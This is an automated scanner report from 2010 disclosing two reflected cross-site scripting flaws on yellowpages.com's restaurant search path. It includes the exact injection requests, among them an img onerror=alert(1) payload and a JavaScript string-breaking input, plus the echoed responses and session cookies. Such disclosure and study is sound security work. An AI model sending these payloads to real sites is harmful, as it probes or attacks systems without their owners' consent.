yellowpages.com, XSS, Cross Site Scripting, CWE-79, CAPEC-86

Cross Site Scripting in yellowpages.com | Vulnerability Crawler


Loading



Report generated by XSS.CX at Fri Dec 17 15:54:51 CST 2010.


Contents

1. Cross-site scripting (reflected)

1.1. http://www.yellowpages.com/nogeo/Restaurants [REST URL parameter 1]

1.2. http://www.yellowpages.com/nogeo/Restaurants [REST URL parameter 2]



1. Cross-site scripting (reflected)
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.yellowpages.com/nogeo/Restaurants [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.yellowpages.com
Path:   /nogeo/Restaurants

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 293e8<img%20src%3da%20onerror%3dalert(1)>49a5249c155 was submitted in the REST URL parameter 1. This input was echoed as 293e8<img src=a onerror=alert(1)>49a5249c155 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /nogeo293e8<img%20src%3da%20onerror%3dalert(1)>49a5249c155/Restaurants HTTP/1.1
Host: www.yellowpages.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 17 Dec 2010 19:20:03 GMT
Status: 200 OK
Server: nginx
Content-Type: text/html; charset=utf-8
ETag: "44ddd43708dfeee3ed1866baf01308cd"
Cache-Control: no-cache
Set-Cookie: search_terms=Restaurants; path=/
Set-Cookie: parity_analytics=---+%0A%3Avisit_id%3A+qwchi17zeznsdpxintksrfrg1df6g%0A%3Avisit_start_time%3A+2010-12-17+19%3A20%3A03.134658+%2B00%3A00%0A%3Alast_page_load%3A+2010-12-17+19%3A20%3A03.134660+%2B00%3A00%0A; path=/; expires=Mon, 17-Dec-2035 19:20:03 GMT
Set-Cookie: vrid=9277b7f0-ec40-012d-1670-00237da007be; domain=.yellowpages.com; path=/; expires=Thu, 17-Dec-2015 19:20:03 GMT
Set-Cookie: _parity_session=BAh7BjoPc2Vzc2lvbl9pZCIlZDEyYmNmYzNmZjAzNGYyODAzMzAzMDY5NjBjMjdlNDU%3D--51bc43e62393ed19aeb810992b51926331fa47c7; path=/; HttpOnly
Set-Cookie: b=10013; domain=.yellowpages.com; path=/; expires=Thu, 20 Dec 2012 00:00:01 GMT
X-Urid: d-92410b00-ec40-012d-a6cf-00237da007be
Expires: Fri, 17 Dec 2010 19:20:02 GMT
Connection: close
Content-Length: 204313

<!DOCTYPE html>
<html>
<head>

<title>No Location Found - YELLOWPAGES.COM</title>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
<meta content="" name="description" />
<meta con
...[SNIP]...
<a href="http://www.yellowpages.com/houston-tx" class="all-categories">See All Categories for nogeo293e8<img src=a onerror=alert(1)>49a5249c155</a>
...[SNIP]...

1.2. http://www.yellowpages.com/nogeo/Restaurants [REST URL parameter 2]  previous

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.yellowpages.com
Path:   /nogeo/Restaurants

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 94856"%3b437e4e94e0c was submitted in the REST URL parameter 2. This input was echoed as 94856";437e4e94e0c in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /nogeo/Restaurants94856"%3b437e4e94e0c HTTP/1.1
Host: www.yellowpages.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 200 OK
Date: Fri, 17 Dec 2010 19:20:10 GMT
Status: 200 OK
Server: nginx
Content-Type: text/html; charset=utf-8
ETag: "09e20413fdd9b57a0d079a7643187c93"
Cache-Control: no-cache
Set-Cookie: location=geo_term%3AHouston%2C+TX%7Clat%3A29.7632836%7Clng%3A-95.3632715%7Cdisplay_geo%3AHouston%2C+TX; domain=.yellowpages.com; path=/; expires=Sat, 17-Dec-2011 19:20:10 GMT
Set-Cookie: parity_analytics=---+%0A%3Avisit_id%3A+n4kzt7yp76tc3z5hi6gqwgfmee18w%0A%3Avisit_start_time%3A+2010-12-17+19%3A20%3A10.538915+%2B00%3A00%0A%3Alast_page_load%3A+2010-12-17+19%3A20%3A10.538917+%2B00%3A00%0A; path=/; expires=Mon, 17-Dec-2035 19:20:10 GMT
Set-Cookie: vrid=96e180a0-ec40-012d-1694-00237da007be; domain=.yellowpages.com; path=/; expires=Thu, 17-Dec-2015 19:20:10 GMT
Set-Cookie: _parity_session=BAh7BjoPc2Vzc2lvbl9pZCIlZWZkNTU4MDEyMDg5MTc0MmRhMTdjOGNlNDliMTJhNzE%3D--cd99e9c0c789fdc5da04272d2083438606c48968; path=/; HttpOnly
Set-Cookie: b=10013; domain=.yellowpages.com; path=/; expires=Thu, 20 Dec 2012 00:00:01 GMT
X-Urid: d-96d30d90-ec40-012d-f280-00237da007be
Expires: Fri, 17 Dec 2010 19:20:09 GMT
Connection: close
Content-Length: 204961

<!DOCTYPE html>
<html>
<head>

<title>No Matches Found - YELLOWPAGES.COM</title>
<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
<meta content="" name="description" />
<meta cont
...[SNIP]...
<!-- / INSERT DATA HERE IN THE FORM: -->
bk_addPageCtx("q", "Restaurants94856";437e4e94e0c");


<!-- / SEND CLIENT ID HERE -->
...[SNIP]...

Report generated by XSS.CX at Fri Dec 17 15:54:51 CST 2010.